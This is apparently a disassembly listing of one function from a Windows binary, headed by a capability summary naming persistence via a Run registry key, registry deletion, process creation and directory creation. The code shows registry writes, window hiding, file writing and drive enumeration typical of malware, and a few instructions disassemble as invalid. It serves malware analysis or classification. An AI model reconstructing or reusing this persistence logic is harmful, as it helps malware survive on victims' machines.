Function at 0x414ec4
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x414ecc
push ebx
push esi
push edi
mov edi, 0x41badc
mov esi, 0x41bb14
mov ebx, 0x41bb5b
xor eax, eax
push ebp
push 0x4165b5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x4165cc
call fcn.004037f8
cmp byte [0x41bb5c], 0x66
jne 0x414f57
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x416610
mov edx, 0x416620
mov eax, 0x80000002
call fcn.0040689c
mov edx, dword [ebp - 4]
mov eax, 0x41bae8
call fcn.004037f8
cmp byte [0x41bb59], 0
jne 0x414f57
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x41bae8]
call fcn.0040673c
mov byte [ebx], al
mov eax, esi
mov edx, 0x416668
call fcn.004037f8
mov edx, 0x416620
mov ecx, 0x416610
mov eax, 0x80000002
call fcn.00406d64
lea eax, [ebp - 8]
call fcn.004065e0
mov edx, dword [ebp - 8]
mov eax, 0x41bad8
call fcn.004037f8
lea eax, [ebp - 0xc]
call fcn.0040664c
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.004037f8
mov eax, 0x41bae0
mov ecx, 0x4166f0
mov edx, dword [edi]
call fcn.00403968
mov eax, esi
mov edx, 0x416700
call fcn.004037f8
mov eax, dword [0x41bae8]
call fcn.0040391c
test eax, eax
jne 0x414fda
mov eax, 0x41bae8
mov ecx, 0x4167b4
mov edx, dword [edi]
call fcn.00403968
mov eax, 0x41a1f4
mov ecx, dword [0x41a1f4]
mov edx, dword [edi]
call fcn.00403968
mov eax, esi
mov edx, 0x4167c4
call fcn.004037f8
mov eax, 0x41bad0
mov ecx, 0x416838
mov edx, dword [0x41a1f4]
call fcn.00403968
mov eax, esi
mov edx, 0x41684c
call fcn.004037f8
mov eax, 0x41bad4
mov ecx, 0x416878
mov edx, dword [0x41a1f4]
call fcn.00403968
xor eax, eax
mov dword [0x41bb60], eax
call fcn.00418478
mov eax, esi
mov edx, 0x41688c
call fcn.004037f8
cmp byte [0x41bb59], 0
je 0x4152b8
mov eax, 0x41692c
call fcn.00405c6c
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.004067bc
mov eax, esi
mov edx, 0x416944
call fcn.004037f8
lea eax, [ebp - 0x10]
mov ecx, 0x4169f0
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x10]
call fcn.00405b20
lea eax, [ebp - 0x14]
mov ecx, 0x416a04
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x14]
call fcn.00405b20
mov eax, dword [0x41bad0]
call fcn.00405b20
mov eax, esi
mov edx, 0x416a18
call fcn.004037f8
mov ecx, 0x4167b4
mov edx, 0x416a70
mov eax, 0x80000002
call fcn.00406d64
mov ecx, 0x4167b4
mov edx, 0x416aa8
mov eax, 0x80000002
call fcn.00406d64
mov ecx, 0x4167b4
mov edx, 0x416ae8
mov eax, 0x80000001
call fcn.00406d64
mov edx, 0x416a70
mov ecx, 0x416b30
mov eax, 0x80000001
call fcn.00406d64
mov edx, 0x416ae8
mov ecx, 0x416b40
mov eax, 0x80000002
call fcn.00406d64
lea eax, [ebp - 0x18]
mov ecx, 0x416b50
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x18]
call fcn.00405b20
lea eax, [ebp - 0x1c]
mov ecx, 0x416b64
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x1c]
call fcn.00405b20
mov eax, esi
mov edx, 0x416b78
call fcn.004037f8
lea eax, [ebp - 0x20]
mov ecx, 0x416bfc
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x20]
call fcn.00405b20
lea eax, [ebp - 0x24]
mov ecx, 0x416c10
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x24]
call fcn.00405b20
lea eax, [ebp - 0x28]
mov ecx, 0x416c24
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x28]
call fcn.00405b20
lea eax, [ebp - 0x2c]
mov ecx, 0x416c38
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x2c]
call fcn.00405b20
lea eax, [ebp - 0x30]
mov ecx, 0x416c4c
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x30]
call fcn.00405b20
push 0x416c58
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x416c84
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x416ccc
call fcn.004138cc
mov eax, esi
mov edx, 0x416cd8
call fcn.004037f8
mov eax, 0x416db0
call fcn.004138cc
mov eax, esi
mov edx, 0x416dbc
call fcn.004037f8
mov eax, 0x416df0
call fcn.004138cc
mov eax, esi
mov edx, 0x416dfc
call fcn.004037f8
mov eax, dword [0x41bad4]
call fcn.00405b20
push 0x200040
push 0x416e78
push 0x416e90
lea edx, [ebp - 0x38]
mov eax, 0x8a
call fcn.00405424
push dword [ebp - 0x38]
push 0x416ea4
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.004039dc
mov eax, dword [ebp - 0x34]
call fcn.00403b1c
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x41692c
lea eax, [ebp - 0x3c]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x3c]
call fcn.00403b1c
push eax
push 0x416ebc
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405b78
jmp 0x416597
push 0
mov eax, dword [0x41a1f4]
call fcn.00403b1c
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x41bb58]
cmp byte [0x41bb58], 0
je 0x4152f2
call fcn.00406050
mov eax, esi
mov edx, 0x416f70
call fcn.004037f8
mov eax, dword [0x41a258]
push eax
mov edx, 0x416620
mov ecx, 0x416fe4
mov eax, 0x80000002
call fcn.004067e8
push eax
call fcn.0040567c
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x416597
lea edx, [ebp - 0x40]
mov eax, dword [0x41bae8]
call fcn.004056ac
mov edx, dword [ebp - 0x40]
mov eax, 0x41baec
call fcn.004037f8
call fcn.0040278c
lea edx, [ebp - 0x44]
mov eax, 0x416ff0
call fcn.00406104
mov edx, dword [ebp - 0x44]
mov eax, 0x41bb18
call fcn.004037f8
mov eax, esi
mov edx, 0x417020
call fcn.004037f8
mov eax, 0x41bae4
mov edx, 0x4170d4
call fcn.004037f8
lea eax, [ebp - 0x4c]
mov ecx, dword [0x41bae4]
mov edx, 0x4170f0
call fcn.00403968
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00406104
mov edx, dword [ebp - 0x48]
mov eax, 0x41bb1c
call fcn.004037f8
mov eax, esi
mov edx, 0x417104
call fcn.004037f8
push 1
push 0x96
push 0x222e1
mov ecx, 0x416b50
lea eax, [ebp - 0x50]
mov edx, dword [edi]
call fcn.00403968
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x41bae8]
call fcn.00405870
mov byte [ebx], al
mov ecx, 0x416b50
lea eax, [ebp - 0x54]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x54]
call fcn.0040673c
mov byte [ebx], al
mov eax, esi
mov edx, 0x417168
call fcn.004037f8
mov eax, dword [0x41a258]
push eax
mov edx, 0x416620
mov ecx, 0x4171e8
mov eax, 0x80000002
call fcn.004067e8
mov dword [0x41bb50], eax
cmp dword [0x41bb50], 0x8a
jge 0x415523
cmp byte [ebx], 0
jne 0x41548e
mov ecx, 0x416b50
lea eax, [ebp - 0x58]
mov edx, dword [edi]
call fcn.00403968
mov edx, dword [ebp - 0x58]
mov eax, dword [0x41bae8]
call fcn.00403a68
je 0x41548e
mov eax, 0x416b50
call fcn.00405c6c
push 1
push 0x96
push 0x222e1
mov ecx, 0x416b50
lea eax, [ebp - 0x5c]
mov edx, dword [edi]
call fcn.00403968
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x41bae8]
call fcn.00405870
mov byte [ebx], al
mov eax, esi
mov edx, 0x4171f8
call fcn.004037f8
cmp byte [ebx], 0
je 0x415523
push 0x8a
push 0x4171e8
mov edx, 0x416620
mov eax, 0x80000002
pop ecx
call fcn.00406a60
mov byte [ebx], al
cmp dword [0x41bb50], 0
jle 0x4154e9
lea edx, [ebp - 0x60]
mov eax, dword [0x41bb50]
call fcn.00405424
mov ecx, dword [ebp - 0x60]
mov eax, 0x41bae4
mov edx, 0x417254
call fcn.00403968
jmp 0x4154f3
mov eax, 0x41bae4
call fcn.004037a4
push 0x417264
lea edx, [ebp - 0x68]
mov eax, 0x8a
call fcn.00405424
push dword [ebp - 0x68]
push dword [0x41bae4]
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.004039dc
mov eax, dword [ebp - 0x64]
call fcn.00418648
mov eax, esi
mov edx, 0x4165cc
call fcn.004037f8
call fcn.00407604
push 1
push 0x96
push 0x222e1
mov ecx, 0x416b64
lea eax, [ebp - 0x6c]
mov edx, dword [edi]
call fcn.00403968
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x41bae8]
call fcn.00405870
mov byte [ebx], al
mov ecx, 0x416b64
lea eax, [ebp - 0x70]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x70]
call fcn.0040673c
mov byte [ebx], al
mov eax, esi
mov edx, 0x417278
call fcn.004037f8
push 1
push 0x96
push 0x222e1
mov ecx, 0x416bfc
lea eax, [ebp - 0x74]
mov edx, dword [edi]
call fcn.00403968
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x41bae8]
call fcn.00405870
mov byte [ebx], al
mov ecx, 0x416bfc
lea eax, [ebp - 0x78]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x78]
call fcn.0040673c
mov byte [ebx], al
mov ecx, 0x416c38
lea eax, [ebp - 0x7c]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x7c]
call fcn.00405904
test al, al
jne 0x41566b
push 1
push 0
push 0x222e1
mov ecx, 0x416c38
lea eax, [ebp - 0x80]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x416c10
lea eax, [ebp - 0x84]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.00405870
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x416c4c
lea eax, [ebp - 0x88]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x416c24
lea eax, [ebp - 0x8c]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.00405870
mov byte [ebx], al
mov ecx, 0x416c10
lea eax, [ebp - 0x90]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x90]
call fcn.00405904
test al, al
jne 0x415718
push 1
push 0
push 0x222e1
mov ecx, 0x416c10
lea eax, [ebp - 0x94]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x416c38
lea eax, [ebp - 0x98]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.00405870
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x416c24
lea eax, [ebp - 0x9c]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, 0x416c4c
lea eax, [ebp - 0xa0]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
pop edx
call fcn.00405870
mov byte [ebx], al
mov eax, dword [0x41bae8]
call fcn.0040673c
mov byte [ebx], al
mov ecx, 0x416c10
lea eax, [ebp - 0xa4]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xa4]
call fcn.0040673c
mov byte [ebx], al
mov ecx, 0x416c24
lea eax, [ebp - 0xa8]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xa8]
call fcn.0040673c
mov byte [ebx], al
mov eax, esi
mov edx, 0x417308
call fcn.004037f8
mov ecx, 0x416c38
lea eax, [ebp - 0xac]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xac]
call fcn.0040673c
mov byte [ebx], al
mov ecx, 0x416c4c
lea eax, [ebp - 0xb0]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xb0]
call fcn.0040673c
mov byte [ebx], al
mov eax, esi
mov edx, 0x4173cc
call fcn.004037f8
call fcn.00411bdc
mov eax, 0x416ccc
call fcn.00412450
mov eax, esi
mov edx, 0x4173ec
call fcn.004037f8
mov eax, 0x416db0
call fcn.00412450
mov eax, 0x416df0
call fcn.00412450
mov eax, esi
mov edx, 0x417480
call fcn.004037f8
mov eax, 0x4174cc
call fcn.00412450
mov eax, esi
mov edx, 0x4173cc
call fcn.004037f8
push 0
push 0
push 0x41bb54
mov ecx, 0x407ed8
xor edx, edx
xor eax, eax
call fcn.00403760
mov eax, esi
mov edx, 0x4174d8
call fcn.004037f8
push 0
push 0
push 0x41bb54
mov ecx, 0x406f50
xor edx, edx
xor eax, eax
call fcn.00403760
mov ecx, 0x416b50
mov eax, 0x41bae4
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [0x41bae4]
mov edx, dword [0x41bae8]
call fcn.00403a68
je 0x4158b0
mov ecx, 0x416b64
lea eax, [ebp - 0xb4]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xb4]
mov edx, dword [0x41bae8]
call fcn.00403a68
je 0x4158b0
mov ecx, 0x416bfc
lea eax, [ebp - 0xb8]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xb8]
mov edx, dword [0x41bae8]
call fcn.00403a68
jne 0x4158bc
mov eax, 0x41bae4
call fcn.004037a4
jmp 0x4158d1
mov eax, 0x41bae4
mov ecx, dword [0x41bae8]
mov edx, 0x41755c
call fcn.00403968
mov al, byte [0x41bb5c]
sub al, 0x64
je 0x4158e4
dec al
je 0x4158fb
dec al
je 0x415912
jmp 0x415927
mov eax, 0x41bae4
mov ecx, dword [0x41bae4]
mov edx, 0x417568
call fcn.00403968
jmp 0x415927
mov eax, 0x41bae4
mov ecx, dword [0x41bae4]
mov edx, 0x417574
call fcn.00403968
jmp 0x415927
mov eax, 0x41bae4
mov ecx, dword [0x41bae4]
mov edx, 0x417580
call fcn.00403968
lea eax, [ebp - 0xbc]
mov ecx, dword [0x41bae4]
mov edx, 0x417590
call fcn.00403968
mov eax, dword [ebp - 0xbc]
call fcn.00418648
mov ecx, 0x416620
mov eax, 0x41bb74
mov edx, 0x80000002
call fcn.00406bbc
test al, al
jne 0x415987
mov ecx, 0x416620
mov eax, 0x41bb74
mov edx, 0x80000002
call fcn.00406bbc
test al, al
jne 0x415987
mov eax, 0x4175a0
call fcn.00418648
jmp 0x416597
mov eax, esi
mov edx, 0x4175b8
call fcn.004037f8
push dword [edi]
push 0x417630
push 0x417640
mov eax, 0x41bb04
mov edx, 3
call fcn.004039dc
mov eax, dword [0x41bb04]
call fcn.00405904
test al, al
jne 0x415a28
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xc0]
mov ecx, 0x417650
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0xc0]
mov cl, 1
mov edx, dword [0x41bb04]
call fcn.00405870
test al, al
je 0x415a14
lea eax, [ebp - 0xc4]
mov ecx, dword [0x41bb04]
mov edx, 0x417668
call fcn.00403968
mov eax, dword [ebp - 0xc4]
call fcn.00418648
jmp 0x415a28
mov eax, 0x417684
call fcn.00418648
mov eax, 0x41bb04
call fcn.004037a4
mov eax, esi
mov edx, 0x417694
call fcn.004037f8
mov eax, dword [0x41bb04]
call fcn.0040391c
test eax, eax
jle 0x415c28
mov eax, 0x41bb0c
mov ecx, 0x417754
mov edx, dword [edi]
call fcn.00403968
mov eax, 0x41bb08
mov edx, 0x417768
call fcn.004037f8
lea eax, [ebp - 0xc8]
mov ecx, 0x41777c
mov edx, dword [0x41bb0c]
call fcn.00403968
mov eax, dword [ebp - 0xc8]
call fcn.00405904
test al, al
je 0x415a9a
mov eax, 0x41bb08
mov edx, 0x41778c
call fcn.00403924
lea eax, [ebp - 0xcc]
mov ecx, 0x41779c
mov edx, dword [0x41bb0c]
call fcn.00403968
mov eax, dword [ebp - 0xcc]
call fcn.00405904
test al, al
je 0x415ace
mov eax, 0x41bb08
mov edx, 0x4177ac
call fcn.00403924
lea eax, [ebp - 0xd0]
mov ecx, 0x4177bc
mov edx, dword [0x41bb0c]
call fcn.00403968
mov eax, dword [ebp - 0xd0]
call fcn.00405904
test al, al
je 0x415b02
mov eax, 0x41bb08
mov edx, 0x4177cc
call fcn.00403924
lea eax, [ebp - 0xd4]
mov ecx, 0x4177dc
mov edx, dword [0x41bb0c]
call fcn.00403968
mov eax, dword [ebp - 0xd4]
call fcn.00405904
test al, al
je 0x415b36
mov eax, 0x41bb08
mov edx, 0x4177ec
call fcn.00403924
lea eax, [ebp - 0xd8]
mov ecx, 0x4177fc
mov edx, dword [0x41bb0c]
call fcn.00403968
mov eax, dword [ebp - 0xd8]
call fcn.00405904
test al, al
je 0x415b6a
mov eax, 0x41bb08
mov edx, 0x41780c
call fcn.00403924
lea eax, [ebp - 0xdc]
mov ecx, 0x41781c
mov edx, dword [0x41bb0c]
call fcn.00403968
mov eax, dword [ebp - 0xdc]
call fcn.00405904
test al, al
je 0x415b9e
mov eax, 0x41bb08
mov edx, 0x41782c
call fcn.00403924
lea eax, [ebp - 0xe0]
mov ecx, 0x41783c
mov edx, dword [0x41bb0c]
call fcn.00403968
mov eax, dword [ebp - 0xe0]
call fcn.00405904
test al, al
je 0x415bd2
mov eax, 0x41bb08
mov edx, 0x41784c
call fcn.00403924
mov eax, dword [0x41bb08]
mov edx, 0x41785c
call fcn.00403a68
jne 0x415bef
mov eax, 0x41788c
call fcn.00418648
jmp 0x415c10
lea eax, [ebp - 0xe4]
mov ecx, dword [0x41bb08]
mov edx, 0x41789c
call fcn.00403968
mov eax, dword [ebp - 0xe4]
call fcn.00418648
push 0
mov ecx, 0x4178ac
mov edx, 0x4178bc
mov eax, 0x80000001
call fcn.00406a60
jmp 0x415c32
mov eax, 0x41bb08
call fcn.004037a4
cmp byte [0x41bb58], 0
jne 0x415c86
push 0x1f40
call sub.kernel32.dll_Sleep
push 0x4178d4
push 0
call sub.user32.dll_FindWindowA
mov dword [0x41bb54], eax
cmp dword [0x41bb54], 0
jne 0x415c70
push 0x4178ec
push 0
call sub.user32.dll_FindWindowA
mov dword [0x41bb54], eax
cmp dword [0x41bb54], 0
jbe 0x415c86
push 0
mov eax, dword [0x41bb54]
push eax
call sub.user32.dll_ShowWindow
mov eax, 0x41bae4
mov edx, 0x41790c
call fcn.004037f8
lea edx, [ebp - 0xec]
mov eax, 0x417950
call fcn.00406104
mov ecx, dword [ebp - 0xec]
lea eax, [ebp - 0xe8]
mov edx, dword [0x41bae8]
call fcn.00403968
mov eax, dword [ebp - 0xe8]
push eax
lea eax, [ebp - 0xf8]
mov ecx, 0x417974
mov edx, dword [0x41bae4]
call fcn.00403968
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0xf4]
call fcn.00406104
mov ecx, dword [ebp - 0xf4]
lea eax, [ebp - 0xf0]
mov edx, 0x417998
call fcn.00403968
mov edx, dword [ebp - 0xf0]
mov ecx, dword [0x41bae8]
mov eax, 0x80000002
call fcn.00406970
mov eax, esi
mov edx, 0x4179c4
call fcn.004037f8
mov eax, dword [0x41a258]
push eax
mov edx, 0x416620
mov ecx, 0x417a9c
mov eax, 0x80000002
call fcn.004067e8
mov dword [0x41bb38], eax
mov eax, dword [0x41a258]
push eax
mov edx, 0x416620
mov ecx, 0x417aac
mov eax, 0x80000002
call fcn.004067e8
mov dword [0x41bb48], eax
cmp dword [0x41bb48], 0x64
jge 0x415f3a
mov eax, dword [0x41a258]
push eax
push 0x400
lea eax, [ebp - 0x100]
push eax
mov edx, 0x416620
mov ecx, 0x417abc
mov eax, 0x80000002
call fcn.0040689c
mov eax, dword [ebp - 0x100]
lea edx, [ebp - 0xfc]
call fcn.004054a8
mov edx, dword [ebp - 0xfc]
mov eax, 0x41bafc
call fcn.004037f8
mov eax, dword [0x41bafc]
call fcn.0040391c
test eax, eax
je 0x415dcf
mov eax, dword [0x41bafc]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x415dde
mov eax, 0x41bafc
mov edx, 0x417acc
call fcn.004037f8
push 0x100002
mov eax, 0x41bc6c
mov ecx, 1
mov edx, dword [0x406f30]
call fcn.004042a8
add esp, 4
mov eax, dword [0x41bafc]
mov bl, byte [eax]
cmp bl, 0x63
jb 0x415f16
lea eax, [ebp - 0x104]
mov edx, ebx
call fcn.004038c4
lea eax, [ebp - 0x104]
mov edx, 0x417ad8
call fcn.00403924
mov eax, dword [ebp - 0x104]
call fcn.00403b1c
push eax
call sub.kernel32.dll_GetDriveTypeA
add eax, 0xfffffffe
sub eax, 3
jb 0x415e4a
sub eax, 1
jne 0x415f05
xor eax, eax
mov dword [0x41bb3c], eax
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.004038c4
lea eax, [ebp - 0x108]
mov edx, 0x417ad8
call fcn.00403924
invalid
dec dword [ebx - 0x1077b]
invalid
call fcn.0040d360
lea eax, [ebp - 0x110]
mov edx, ebx
call fcn.004038c4
mov ecx, dword [ebp - 0x110]
lea eax, [ebp - 0x10c]
mov edx, 0x417ae4
call fcn.00403968
mov eax, dword [ebp - 0x10c]
call fcn.00418648
mov eax, esi
mov edx, 0x417af8
call fcn.004037f8
lea eax, [ebp - 0x114]
xor edx, edx
mov dl, bl
dec edx
call fcn.004038c4
mov eax, dword [ebp - 0x114]
push eax
push 0x417abc
mov edx, 0x416620
mov eax, 0x80000002
pop ecx
call fcn.00406970
push 0
push 0x417a9c
mov edx, 0x416620
mov eax, 0x80000002
pop ecx
call fcn.00406a60
cmp bl, 0x63
jne 0x415f05
mov eax, 0x417bcc
call fcn.00418648
xor eax, eax
mov dword [0x41bb38], eax
dec ebx
cmp bl, 0x62
jne 0x415e0b
mov dword [0x41bb48], 0x64
mov eax, dword [0x41bb48]
push eax
mov ecx, 0x417aac
mov edx, 0x416620
mov eax, 0x80000002
call fcn.00406a60
mov eax, esi
mov edx, 0x417be0
call fcn.004037f8
cmp dword [0x41bb48], 0xc8
jge 0x415ff6
cmp byte [0x41bb5c], 0x66
jne 0x415f66
mov byte [0x41a1e8], 0
xor eax, eax
mov dword [0x41bb40], eax
mov eax, esi
mov edx, 0x417c44
call fcn.004037f8
mov eax, dword [0x41a258]
push eax
mov edx, 0x416620
mov ecx, 0x417cb8
mov eax, 0x80000002
call fcn.004067e8
mov dword [0x41bb44], eax
push 0x100002
mov eax, 0x41bc6c
mov ecx, 1
mov edx, dword [0x406f30]
call fcn.004042a8
add esp, 4
xor eax, eax
call fcn.0040dfd8
mov dword [0x41bb48], 0xc8
mov eax, dword [0x41bb48]
push eax
mov ecx, 0x417aac
mov edx, 0x416620
mov eax, 0x80000002
call fcn.00406a60
mov eax, 0x417cc8
call fcn.00418648
mov eax, esi
mov edx, 0x4173ec
call fcn.004037f8
push 0
mov eax, 0x41bc6c
mov ecx, 1
mov edx, dword [0x406f30]
call fcn.004042a8
add esp, 4
mov eax, esi
mov edx, 0x417ce0
call fcn.004037f8
mov eax, 0x41bb74
call fcn.00406c30
mov eax, dword [0x41baec]
call fcn.0040391c
test eax, eax
jne 0x416078
lea edx, [ebp - 0x118]
mov eax, dword [0x41bae8]
call fcn.004056ac
mov edx, dword [ebp - 0x118]
mov eax, 0x41baec
call fcn.004037f8
mov eax, dword [0x41baec]
call fcn.0040391c
test eax, eax
jne 0x416078
call fcn.0040b124
jmp 0x416597
cmp byte [0x41bb5c], 0x64
jne 0x41608b
call fcn.00418248
call fcn.00403638
mov byte [0x41a1e8], 0
mov eax, dword [0x41a258]
push eax
mov edx, 0x416620
mov ecx, 0x417d64
mov eax, 0x80000002
call fcn.004067e8
dec eax
je 0x416173
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x41bad0]
call fcn.00403b1c
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x41bb64], eax
mov eax, esi
mov edx, 0x417d74
call fcn.004037f8
push 2
push 0
push 0
mov eax, dword [0x41bb64]
push eax
call sub.kernel32.dll_SetFilePointer_1
lea eax, [ebp - 0x11c]
call fcn.00408420
mov edx, dword [ebp - 0x11c]
mov eax, 0x41bae4
call fcn.004037f8
push 0
push 0x41bb54
mov eax, dword [0x41bae4]
call fcn.0040391c
push eax
mov eax, 0x41bae4
call fcn.00403b74
push eax
mov eax, dword [0x41bb64]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, esi
mov edx, 0x417da8
call fcn.004037f8
mov eax, dword [0x41bb64]
push eax
call sub.kernel32.dll_CloseHandle_1
push 1
mov ecx, 0x417d64
mov edx, 0x416620
mov eax, 0x80000002
call fcn.00406a60
mov eax, esi
mov edx, 0x416ecc
call fcn.004037f8
mov eax, esi
mov edx, 0x417480
call fcn.004037f8
push 0xea60
call sub.kernel32.dll_Sleep
lea edx, [ebp - 0x120]
mov al, 1
call fcn.004054e4
mov ecx, dword [ebp - 0x120]
mov eax, 0x41baf8
mov edx, 0x417dd8
call fcn.00403968
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x4161be
jmp dword [eax*4 + 0x4161c5]
lea edx, [ebp - 0x124]
mov eax, 0x417dec
call fcn.00406104
mov edx, dword [ebp - 0x124]
mov eax, 0x41baf4
call fcn.004037f8
jmp 0x4162d2
lea edx, [ebp - 0x128]
mov eax, 0x417e04
call fcn.00406104
mov edx, dword [ebp - 0x128]
mov eax, 0x41baf4
call fcn.004037f8
jmp 0x4162d2
lea edx, [ebp - 0x12c]
mov eax, 0x417e1c
call fcn.00406104
mov edx, dword [ebp - 0x12c]
mov eax, 0x41baf4
call fcn.004037f8
jmp 0x4162d2
lea edx, [ebp - 0x130]
mov eax, 0x417e34
call fcn.00406104
mov edx, dword [ebp - 0x130]
mov eax, 0x41baf4
call fcn.004037f8
jmp 0x4162d2
lea edx, [ebp - 0x134]
mov eax, 0x417e4c
call fcn.00406104
mov edx, dword [ebp - 0x134]
mov eax, 0x41baf4
call fcn.004037f8
jmp 0x4162d2
lea edx, [ebp - 0x138]
mov eax, 0x417e68
call fcn.00406104
mov edx, dword [ebp - 0x138]
mov eax, 0x41baf4
call fcn.004037f8
jmp 0x4162d2
lea edx, [ebp - 0x13c]
mov eax, 0x417e80
call fcn.00406104
mov edx, dword [ebp - 0x13c]
mov eax, 0x41baf4
call fcn.004037f8
mov eax, esi
mov edx, 0x417e98
call fcn.004037f8
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x4162f1
jmp dword [eax*4 + 0x4162f8]
lea edx, [ebp - 0x140]
mov eax, 0x417f54
call fcn.00406104
mov edx, dword [ebp - 0x140]
mov eax, 0x41baf0
call fcn.004037f8
jmp 0x416411
lea edx, [ebp - 0x144]
mov eax, 0x417f70
call fcn.00406104
mov edx, dword [ebp - 0x144]
mov eax, 0x41baf0
call fcn.004037f8
jmp 0x416411
lea edx, [ebp - 0x148]
mov eax, 0x417f8c
call fcn.00406104
mov edx, dword [ebp - 0x148]
mov eax, 0x41baf0
call fcn.004037f8
jmp 0x416411
lea edx, [ebp - 0x14c]
mov eax, 0x417fa8
call fcn.00406104
mov edx, dword [ebp - 0x14c]
mov eax, 0x41baf0
call fcn.004037f8
jmp 0x416411
lea edx, [ebp - 0x150]
mov eax, 0x417fc4
call fcn.00406104
mov edx, dword [ebp - 0x150]
mov eax, 0x41baf0
call fcn.004037f8
jmp 0x416411
lea edx, [ebp - 0x154]
mov eax, 0x417fdc
call fcn.00406104
mov edx, dword [ebp - 0x154]
mov eax, 0x41baf0
call fcn.004037f8
jmp 0x416411
lea edx, [ebp - 0x158]
mov eax, 0x417ff8
call fcn.00406104
mov edx, dword [ebp - 0x158]
mov eax, 0x41baf0
call fcn.004037f8
mov eax, esi
mov edx, 0x418014
call fcn.004037f8
mov ecx, 0x4169f0
lea eax, [ebp - 0x15c]
mov edx, dword [edi]
call fcn.00403968
mov edx, dword [ebp - 0x15c]
mov eax, dword [0x41bad0]
call fcn.00414764
test al, al
je 0x41645d
mov ecx, 0x416a04
lea eax, [ebp - 0x160]
mov edx, dword [edi]
call fcn.00403968
mov edx, dword [ebp - 0x160]
mov eax, dword [0x41bad4]
call fcn.00414764
test al, al
jne 0x416473
mov eax, esi
mov edx, 0x41804c
call fcn.004037f8
call fcn.00418248
jmp 0x416597
call fcn.00406288
mov ecx, 0x4169f0
lea eax, [ebp - 0x164]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x164]
call fcn.0040efa4
test al, al
je 0x4164bb
mov ecx, 0x416a04
lea eax, [ebp - 0x168]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x168]
call fcn.0040efa4
jmp 0x416597
call fcn.00406288
mov ecx, 0x4169f0
lea eax, [ebp - 0x16c]
mov edx, dword [edi]
call fcn.00403968
mov eax, dword [ebp - 0x16c]
call fcn.0040efa4
test al, al
je 0x416503
mov ecx, 0x416a04
